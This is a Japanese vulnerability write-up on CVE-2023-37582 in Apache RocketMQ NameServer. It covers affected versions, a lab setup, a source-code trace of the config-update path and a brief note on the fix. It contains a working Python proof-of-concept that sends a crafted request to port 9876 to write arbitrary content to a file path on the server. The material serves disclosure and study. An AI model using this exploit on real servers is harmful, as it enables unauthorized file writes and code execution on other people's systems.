脆弱性プロファイル
Apache RocketMQ は、低遅延、高同時実行性、高可用性、高信頼性を備えた分散メッセージ ミドルウェアです。CVE-2023-37582 では、CVE-2023-33246 の不完全な修復により、Apache RocketMQ NameServer への不正アクセスがあると、攻撃者は RocketMQ を実行しているシステム ユーザーとしてコマンドを実行する悪意のあるリクエストを作成する可能性があります。
影響を受けるバージョン
Apache RocketMQ <= 5.1.1
Apache RocketMQ <= 4.9.6
環境構築
「Apache RocketMQ リモート コード実行の脆弱性 CVE-2023-33246 環境設定」を参照してください。
デバッグの利便性を考慮して、RocketMQ 関連サービスを Linux 上で構築し、ソース コードを使用して開始します。
合計 2 つのサービスを実行する必要があります
org.apache.rocketmq.namesrv.NamesrvStartup
org.apache.rocketmq.broker.BrokerStartup
最初に NamesrvStartup を開始し、次に BrokerStartup を開始します。環境変数 ROCKETMQ_HOME ROCKETMQ_HOME=/home/ubuntu/Desktop/rocketmq-rocketmq-all-5.1.0 を構成する必要があります。
脆弱性の再発
Pythonスクリプトを実行する
import socket
import binascii
client = socket.socket()
# you ip
client.connect(('192.168.222.130',9876))
# data
json = '{"code":318,"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='configStorePath=/tmp/test.txt\nproductEnvName=123\\ntest'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:] # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')
# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)
指定された文字列 test が tmp ディレクトリの下の test.txt ファイルに正常に書き込まれます。
脆弱性分析
org/apache/rocketmq/remoting/protocol/RequestCode.java
コードはさまざまな関数を呼び出すことを意味し、この時点で 318 構成更新の操作が呼び出されます。
src/main/java/org/apache/rocketmq/remoting/protocol/RequestCode.java
対応するコードに従って、対応する関数が呼び出されて処理されます。
src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java
src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java#updateConfig
src/main/java/org/apache/rocketmq/remoting/Configuration.java#update
まず、制御可能な属性かどうかを判断します
src/main/java/org/apache/rocketmq/remoting/Configuration.java#persist
src/main/java/org/apache/rocketmq/remoting/Configuration.java#getStorePath
を呼び出して getStorePath
ファイルパスを取得し、この時に取得した値がconfigStorePathの値となります。
src/main/java/org/apache/rocketmq/common/MixAll.java#string2File
src/main/java/org/apache/rocketmq/common/MixAll.java#string2FileNotSafe
src/main/java/org/apache/rocketmq/common/utils/IOTinyUtils.java#writeStringToFile
バグの修正
構成パスの変更を無効にするパラメータを変更します
オリジナル原稿を募集します
オリジナルの技術記事を募集します。投稿を歓迎します
送信メール: [email protected]
記事の種類: ハッカーオタクのテクノロジー、情報セキュリティのホットスポット、セキュリティの調査と分析などセキュリティ関連
審査を通過して出版されると200~800元の報酬が得られる。
射撃練習場は「原文を読む」をクリック